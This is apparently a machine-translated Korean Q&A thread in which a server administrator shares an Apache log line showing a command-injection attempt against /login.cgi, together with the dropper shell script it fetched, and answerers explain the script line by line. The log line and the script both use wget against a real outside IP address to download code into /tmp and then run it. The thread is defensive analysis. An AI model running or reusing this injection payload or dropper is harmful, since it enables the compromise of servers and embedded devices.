이 bash 스크립트는 무엇을합니까? [해킹 시도]


31

최근에 서버 아파치 로그에서 다음과 같은 이상한 줄을 발견했습니다.

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

그래서 나는 커스텀 Fail2Ban 필터를 만들고 /login.cgi URL을 요청하는 IP를 금지하기 시작했습니다.

그러나 그들이 무엇을하려고하는지 궁금해했기 때문에 그들이 실행하려고하는 스크립트를 뽑았으며 정확히 무엇을하는지 알 수없는 것 같습니다. / var 및 / tmp에서 아치 폴더를 제거하는 것에 대해 뭔가?

어쨌든, 여기 있습니다 :

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
이 스크립트는 처음에 서버에서 어떻게 이루어 졌습니까?
MrWhite

3
방금 내 PC의 브라우저에서 .sh 파일을 열고 여기에 복사하여 붙여 넣었습니다. 실제로 서버에 넣지 않았습니다.
ndom91

1
이 스크립트는 '스포이드'로 실제 익스플로잇 스크립트를 다운로드하는 데 사용됩니다. 이것은에 위치 할 hxxp://80.211.173.159:80/$name경우 $name에 CPU 아키텍처의 각이다 bin_names. 따라서 7 개의 공격 스크립트가 다운로드되어 실행됩니다.
BlueCacti

답변:


42

한 줄씩 :

#!/bin/sh

설립 sh오두막 라인 등 중 쉘을,. sh%20/tmp/ks요청에서이 값을 대체하므로이 행은 일반 주석으로 처리되고 무시됩니다.

u="asgknskjdgn"

다른 파일 이름과 충돌하지 않도록 임의 이름을 선언합니다. 왜 그들이을 사용하지 않을지 모르겠지만 mktemp모든 플랫폼에서 사용 가능한 것은 아닙니다.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

몇 가지 일반적인 CPU 아키텍처를 열거합니다.

http_server="80.211.173.159"
http_port=80

익스플로잇 된 서버.

cd /tmp/||cd /var/

웹 서버가 파일을 작성할 수있는 곳으로 디렉토리를 변경하려고합니다. SELinux가 파일 시스템 자체보다 웹 서버가 할 수있는 일에 대해 훨씬 더 엄격한 규칙을 시행함으로써이 문제에 도움이 될 것이라고 생각합니다.

for name in $bin_names
    do

각 CPU 아키텍처마다…

    rm -rf $u

이전에 시도한 익스플로잇 프로그램을 제거합니다. 다음 줄 때문에 불필요하므로 무시할 수 있습니다.

    cp $SHELL $u

현재 쉘 실행 파일을 복사합니다 ( /bin/sh). 다음 행 이후로 무시할 수 있습니다.

    chmod 777 $u

모든 사람이 새 파일에 완전히 액세스 할 수 있도록합니다. 이 wget명령은 쉘 스크립팅 초보자의 표시 또는 잘못된 방향 기술인 명령 뒤에 있어야합니다 .

    >$u

파일을 비 웁니다. 다음 줄 때문에 무의미합니다.

    wget http://$http_server:$http_port/$name -O -> $u

이 아키텍처의 익스플로잇 스크립트로 파일을 덮어 씁니다. -O -> $u을 쓸 수있었습니다 -O - > $u(하이픈은 다운로드가 표준 출력으로 작성되어야 함을 나타냅니다) -O $u.

    ./$u $name

아키텍처를 첫 번째 인수로 사용하여 익스플로잇 스크립트를 실행합니다.

done

루프를 종료합니다.

이것은 다양한 CPU 플랫폼에 대해 알려진 악용을 시도하는 사소한 악용 시도 스크립트입니다. 왜 $u세 번 덮어 쓰는지 모르겠지만 이러한 작업은 스크립트의 초기 반복에서 유지 될 수 있습니다. 아마도 이전 버전은 동적으로 제공되는 것이 아니라 하드 코딩 된 익스플로잇을 가지고 있었을 것입니다. 전자는 더 쉽지만 버그가 패치 될 때 스크립트가 시간이 지남에 따라 덜 효과적임을 보장합니다.


21
명시 적으로 파일을 작성하는 것이 유리합니다. 대상이 이미 존재하고 현재 실행중인 경우, 커널은 파일을 쓰기 위해 열 수 없습니다 (-ETXTBSY). 그러나 실행중인 프로그램의 이름을 바꾸거나 삭제할 수 있습니다.
grawity

명령 ->에서 무엇을 wget합니까? 왜 안돼 wget ... -O $u?
RonJohn

1
@ RonJohn은 다음과 같이 읽었습니다.- >
cat

5
으로 -O->filename의는 filename의 출력에 표시되지 않습니다 PS 도끼 . 이는 디버깅을 더 어렵게 만드는 이점이 될 수 있습니다.
pts

1
cp당신에게 실행 파일을 제공합니다. chmod실패하면 아마도 유용 합니까? 편집 : 분명히 이것이 라우터를 대상으로 한다고 가정 하면 chmod존재하지 않는 것이 가능 합니다.
Bob

12

wget키 위험한 라인입니다.

for name in $bin_names플랫폼의 목록을 작동하고 각 플랫폼은, 임시 디렉토리를 삭제 이상의 쉘을 복사 한 후 모든 사람이 접근 할 수 있도록한다.

그런 다음 사용하여 파일을 다운로드 한 wget다음 방금 복사 한 셸 프로그램을 사용하여 파일 을 실행합니다.

이 스크립트는 기본적으로 모든 플랫폼에 대해 일련의 실행 파일 또는 스크립트를 다운로드하려고 시도하며 시스템을 더 손상시킬 수 있기 위해 시스템에 문지릅니다.


6
문지르 기 == 달리기?
Barmar

5
@Barmar 나는 의도적이라고 확신한다. : P
Canadian Luke REINSTATE MONICA
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.